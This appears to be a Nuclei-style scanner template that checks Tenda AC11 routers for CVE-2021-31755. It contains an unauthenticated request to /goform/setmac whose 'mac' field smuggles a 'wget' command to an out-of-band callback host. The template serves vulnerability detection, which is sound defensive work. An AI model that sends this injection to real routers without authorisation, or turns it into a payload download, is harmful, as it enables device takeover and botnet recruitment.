id: CVE-2021-31755

info:
  name: Tenda Router AC11 RCE
  description: Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  author: gy741
  severity: critical
  reference:
    - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
  tags: cve,cve2021,tenda,rce,oast,router,mirai
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-31755
    cwe-id: CWE-787

requests:
  - raw:
      - |
        POST /goform/setmac HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/index.htmlr
        Content-Type: application/x-www-form-urlencoded

        module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"